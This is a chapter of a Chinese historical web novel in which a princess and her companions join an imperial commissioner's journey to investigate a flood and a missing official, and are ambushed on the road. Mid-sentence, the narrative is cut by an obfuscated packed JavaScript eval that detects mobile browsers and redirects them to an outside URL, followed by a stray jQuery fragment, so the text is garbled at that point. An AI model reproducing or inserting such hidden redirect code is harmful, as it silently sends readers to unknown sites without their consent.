承平五年八月十五,卯时,正定门外。
几匹枣红马偶尔蹬蹄,打着响鼻站在门外一里处。马上男女各个劲装打扮,其中一名女子脸色苍白,似乎大病初愈,身后绑着一根长棍,用布包着,看不出形制。
另有两名男子一左一右伴在打头女子身侧,几人均看向正定门,看起来像是在等待什么。
几人轻装上阵,严阵以待。
卯正一刻,正定门支呀呀拉开一道缝隙,几匹快马自缝隙中轻快奔出,本该驾马飞奔时,却被门外等待之人拦住去路!
两边领头者对上,自门内而来者年岁大约四十,立时将缰绳一扯,惊疑不定。
“公主殿下?您这是?”门内出来的人不知公主是敌是友,一时不敢靠近,心中更是纳罕:出行如此凶险?尚未出京城便有拦路之人!
公主殿下牵着马上前,停在离来人一步之遥,平静地说:“杜大人,我等同去泸川,意图同行,不知可否?”
杜大人吃惊看向公主及其身后,小顾将军,秦姑娘,公主府李墨……杜大人的马在原地打了个转,他回头看看自己的队伍,队伍中的人也皆是震惊之色。
杜大人尚在迟疑,顾平西直接右手执枪挽了个枪花,寒芒闪了对面人的眼睛,顾平西冷静道:“杜大人,如果不同意,我们不介意与您的护卫比试一场。”
秦良玉解开包袱,长枪陡然坠出,横枪立马,冷冷注视着他们。
李墨适时上前道:“杜大人,我等无意阻拦大人查案,只是公主舅舅失踪,心急如焚,因此想与大人同行,绝无不敬之意。”
杜大人心思电转,如果公主担心舅舅王文钦完全可以自行上路,为何非得跟自己一起?恐怕是想在查案中横插一手。
杜大人心中尚无决断,可身后一名副手悄悄靠近杜大人,在他耳边道:“大人,不如同意公主同行。咱们不适合在此地盘桓,上路之后再斟酌不迟。”
杜大人按住马缰,拱手道:“殿下,同行老臣没有意见。但有些事咱们需要约法三章。”
公主颔首:“您请说。”
“其一,不得无故耽误行程;其二,不得不听调遣;其三,若有危险即可回京。”杜大人首先想的是保护公主安全,如果公主出事,皇后绝不会放过他。其他事,上路再说。
“可。”
杜大人深深看了公主一眼,然后回头道:“出发。”
马匹高声嘶鸣,轰然奔驰,公主等人紧随其后,一群人飞快远离正定门。
秦良玉握着长枪护在公主左右,心有所感微微回头,一个小小身影伫立在城门处。
秦良玉握紧手中的枪,收回视线,直视前方,几人的身影很快消失在官道。
不一会儿城门处又出现了一个人,他远远望着远去的官道,拢着袖子劝道:“二皇子殿下,您看也看过了,可答应要保密哦。”
二皇子楚成瑞脸色苍白,坐在马上一时没应声。
陈博闻也不催他,秦良玉跟公主这一走,恐怕再不会回二皇子府,看一眼少一眼咯。
说到底还是阿史那社里太不做人,好端端非要毒死秦良玉,这叫秦姑娘如何再毫无芥蒂与二皇子相处?
公主等人昨夜悄悄出发,谁也没惊动,偏偏二皇子不知从何处得了消息,半夜敲开陈府大门,非要陈博闻带他去见秦良玉,陈博闻无法,只得带他到门口,幸而在路上拖延了片刻,二皇子只来得及目送他们离去。
今日之行,自公主得知三皇子带兵剿匪就开始筹谋。
京中为谁做钦差争执不下,迟迟无法定夺。
巡岸钦差是众人避之不及的职位,湖广总督王文钦尚在此事上折戟,其他人有何本事敢接这么大的烂摊子?
皇后娘娘痛失兄长,一病不起,王家愤而上书:若京中无能,我王家焕之可代天子巡岸!
这可万万不行,王文钦已经在巡岸上凶多吉少,如果此时再送进去一个王焕之,皇后娘娘岂不生啃了这些朝臣?王家有人居心不良,企图取王文钦家主之位而代之,朝中岂肯沦为刀俎。
陛下亲自驳了此事。
大皇子党有心插手,但是淑妃一力镇压,绝不肯叫杜家在这件事上出头,剿匪的差事没捞到便罢了,若再让杜家吃个亏,大皇子便是吃鸡不成食把米。
其余人纷纷避之如祸患。
一连几日议定不下,王良辅王阁老见状觉得不行,最后伙同吏部悄悄拟订了一份名单,交由皇帝定夺。
户部尚书人老成精,下朝时见王阁老与吏部尚书同时留下,便知人选已定,当晚便悄悄透露给孙儿,当天夜里公主殿下便夜闯首辅宅邸。
这才有了今日蹲守钦差。
最后的人选到底定了大皇子党的杜大人。
此人履历丰富,先后在大理寺、刑部均任职过,后来都水监官员监造水利工事时贪污被他查处,自此吏部发觉此人竟精通水利,次年便调任水部,任水部主事,人称杜工部。
因其出身杜家,天然的大皇子党,因此很多人提到他依旧会想到大皇子与淑妃。本人的精明强干倒不十分凸现。
陈博闻回想起自己祖父对此人的评价:“精于水利,洁身自好,果断之士。”
人选未定之前,祖父便知晓公主的打算,并没有阻止,只点拨了一句:“父母在不远游游必有方,公主殿下同理啊。”
陈博闻最后与公主商议了片刻,认为尚书大人的意思定不是要过明路禀报陛下,而是不动声色让陛下知晓即可。
一旦上折子禀报,公主出巡仪仗颇大,这与陛下一贯作风违背,当前赈灾为首,你一个公主去作什么耗?因此只需让陛下知晓小动作即可。
所以议定人选时,公主直接闯进首辅家中,询问钦差人选,即便问不出也告知自己有同行之想,如果最后还是得私自出行,陛下也会知道公主的行动,不会过多责难。
好在王首辅开明,并没有拦着公主,反而夸奖公主有担当,不仅告知了钦差人选,更说明了出行时间,只是提醒公主此事保密,不要外传。
陈博闻私下曾暗自揣摩过王首辅的想法,与祖父也曾议论过此事,但祖父老神在在不肯多说,陈博闻只能猜测王首辅也许对公主十分欣赏。
公主殿下虽然刚刚出发,可公主府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967708|173505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的侍卫却早就等在途中,准备随时接应,公主出行的目的一是找到王文钦,二是查出西京的河岸到底是什么原因致使钦差十巡九死。
杜工部作为钦差是悄悄上路,钦差仪仗在后。
至于三皇子剿匪的队伍已经开拔两天,因带着军队,速度不会很快,因此需要早出发两日。
陈博闻留在京中,一是策应公主,二是随时探听京中动向。
陈博闻有预感,公主此行绝不会顺利,只希望殿下一切平安。
陈博闻瞥了瞥尚在发呆的二皇子,叹了口气:“二皇子殿下,咱们要不先回呢?在门口有点招眼。”
正定门来来往往的人多得很,此时正逢开门放行之时,两个公子哥堵在城门处像什么样?
二皇子收起情绪,与陈博闻一同下马入城,缓步回京。
八月中尚有暑气,出京的杜工部等人在官道旁修整,补充饮水,吃些干粮。
一行人没走多远,回头尚能看得京都城墙。
杜工部的下属凑在工部身旁,将水囊递给大人,低声道:“大人,此去泸川有何打算?”
杜工部看了看身旁不远处席地而坐的公主几人,微微沉吟道:“赈灾在前,查案在后。先看看西京灾情如何,再做打算。”
“可是水灾消息传入京都早就过了许多日,此时赶到西京恐怕也是善后了。”下属预计不妙,担忧得很。
杜工部叹了口气:“京中赈灾的旨意已经下发,各地官员已经开始自行赈灾。我们尽人事听天命,尽力而为吧。尽快赶到西京,通知大家,出发。”
“是!”下属迅速站起来,通知所有人准备赶路。
公主等人在他来之前便起身,不必杜大人吩咐便已上马,非常自觉。
公主走之前,陈博闻曾特地给公主科普过此人,杜工部不负其名声,非常认真,赶路除了必要的修整进食,几乎不曾停留。
大半天便经过公主射杀阿史那社里仆人之地,公主等人不曾多看一眼,一闪而过。
途中仅有的交谈便是公主询问秦良玉身体状况。
“怎么样?身体撑得住吗?”公主驾马略略放缓速度,与秦良玉并行,眼中露出一丝担忧。
秦良玉背后拴着长枪,奔速不慢,尚有余力回应:“无碍,多谢公主挂怀。”
公主应了一声:“嗯,若有不适勿要强忍。”
“贞素明白。”
言罢公主不再关注她,全力行进。
李墨被迫跟上众人的速度,但因杜工部本人并不像顾平西、秦良玉似的,满身武人蛮力,所以速度控制得不错,李墨尚且能跟得上。
李墨视线曾在公主与秦良玉身上打量许久,最终放弃探寻,女子之间交往的秘密,他不必事事追究。
出京的路一切平静,杜工部视众人情况决定连夜赶路。
可就在出了京都界碑时,麻烦来了。
一道破空之声陡然而来!
“谁?!”顾平西凛然,一枪振出,赫然撞飞激射至杜工部面门的箭羽!
秦良玉一马当先骤然调转马头横枪在手,挡在杜工部身前。